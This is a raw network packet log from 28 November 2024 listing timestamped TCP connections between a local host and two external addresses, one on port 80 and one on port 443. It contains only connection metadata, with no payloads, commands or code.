Nov 28, 2024 11:05:33.828604937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.828653097 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.828660965 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.828701973 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.829648972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.829698086 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.829770088 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.829895973 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.830821037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.830872059 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.830893040 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.831106901 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.831805944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.831857920 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.831891060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.831931114 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.832918882 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.832969904 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.833003044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.833156109 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.833861113 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.833914995 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.833947897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.834170103 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.834894896 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.834945917 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.835002899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.835046053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.835932016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.836019993 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.836046934 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.836184978 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.837436914 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.837497950 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.837538958 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.838033915 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.838150024 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.838165045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.838459015 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.839108944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.839159012 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.839236975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.839384079 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.840187073 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.840317011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.840326071 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.840372086 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.841180086 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.841228008 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.841398001 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.841485977 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.842256069 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.842307091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.842335939 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.842492104 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.843290091 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.843347073 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.843378067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.843439102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.844433069 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.844574928 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.844624996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.845649958 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.845752001 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.845846891 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.846678972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.846745968 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.846776009 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.846921921 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.847731113 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.847779036 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.847868919 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.847910881 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.848880053 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.848964930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.848973989 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.849008083 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.849178076 CET	49867	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.849230051 CET	443	49867	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.849716902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.849795103 CET	49867	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.849891901 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.850195885 CET	49867	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.850213051 CET	443	49867	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.889673948 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:33.894982100 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:33.895014048 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:33.944349051 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:33.944372892 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:33.995904922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.995996952 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.995995998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.996036053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.996290922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.996349096 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.996371031 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.996388912 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.997335911 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.997396946 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.997441053 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.997472048 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.998411894 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.998553038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.999439001 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.999466896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.999484062 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.999610901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.000536919 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.000591040 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.000662088 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.001537085 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.001588106 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.001673937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.002629995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.002661943 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.002672911 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.002715111 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.002759933 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.003685951 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.003736973 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.003820896 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.003855944 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.004765034 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.004812956 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.004987955 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.005682945 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.006050110 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.006062031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.006097078 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.006973028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.007020950 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.007046938 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.007118940 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.007915020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.007947922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.007993937 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.008840084 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.008897066 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.008966923 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.009690046 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.009939909 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.010067940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.010096073 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.010268927 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.010951042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.011055946 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.011085987 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.011104107 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.011998892 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.012098074 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.012128115 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.012176037 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.013082981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.013133049 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.013160944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.013200998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.014117002 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.014231920 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.014352083 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.015142918 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.015248060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.015283108 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.015294075 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.016230106 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.016288042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.016452074 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.017240047 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.017324924 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.017510891 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.018388033 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.018528938 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.018538952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.018573999 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.019531012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.019577980 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.019639969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.019686937 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.020616055 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.020694971 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.020723104 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.020756006 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.021527052 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.021579981 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.021645069 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.021694899 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.022480011 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.022535086 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.022563934 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.022850990 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.023557901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.023663044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.023719072 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.024584055 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.024636030 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.024668932 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.024832964 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.025667906 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.025804043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.025835037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.025886059 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.027256966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.027335882 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.027364969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.027542114 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.027940035 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.028070927 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.028121948 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.029017925 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.029072046 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.029124975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.029172897 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.029988050 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.030102015 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.030114889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.030369043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.030956984 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.031086922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.031140089 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.031982899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.032063961 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.032093048 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.032260895 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.032978058 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.033020020 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.033055067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.033097982 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.034040928 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.034099102 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.034228086 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.035134077 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.035280943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.035322905 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.035322905 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.036165953 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.036211014 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.036262035 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.036715031 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.037168026 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.037267923 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.037269115 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.037316084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.038214922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.038271904 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.038309097 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.038367987 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.039242983 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.039298058 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.039335012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.039381027 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.040313959 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.040363073 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.040388107 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.040497065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.041342974 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.041405916 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.041435003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.041557074 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.042423964 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.042573929 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.042658091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.043436050 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.043486118 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.043612957 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.044009924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.044473886 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.044528961 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.044579983 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.044722080 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.045558929 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.045620918 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.045655966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.046063900 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.046622992 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.046742916 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.046803951 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.047621965 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.047682047 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.047740936 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.047801971 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.048825979 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.048887968 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.048891068 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.048928976 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.049714088 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.049781084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.049813986 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.049854040 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.050710917 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.050770998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.154849052 CET	49868	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.154898882 CET	443	49868	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:34.155061960 CET	49868	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.155159950 CET	49869	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.155201912 CET	443	49869	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:34.155246973 CET	49869	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.155528069 CET	49870	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.155549049 CET	443	49870	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:34.155651093 CET	49870	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.155868053 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.155881882 CET	443	49871	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:34.155930996 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.156088114 CET	49872	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.156126976 CET	443	49872	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:34.156184912 CET	49872	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.156449080 CET	49868	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.156466961 CET	443	49868	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:34.156692028 CET	49869	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.156706095 CET	443	49869	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:34.156891108 CET	49870	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.156904936 CET	443	49870	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:34.157078028 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.157089949 CET	443	49871	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:34.157227993 CET	49872	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:34.157244921 CET	443	49872	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:34.197228909 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.197258949 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.197374105 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.197632074 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.197689056 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.197732925 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.198698044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.198734045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.198740005 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.198771954 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.199759960 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.199805975 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.199836969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.199873924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.200678110 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.200731039 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.200764894 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.200822115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.201726913 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.201776981 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.201811075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.202033997 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.202924967 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.202977896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.203013897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.203104019 CET	49782	80	192.168.2.7	185.215.113.206
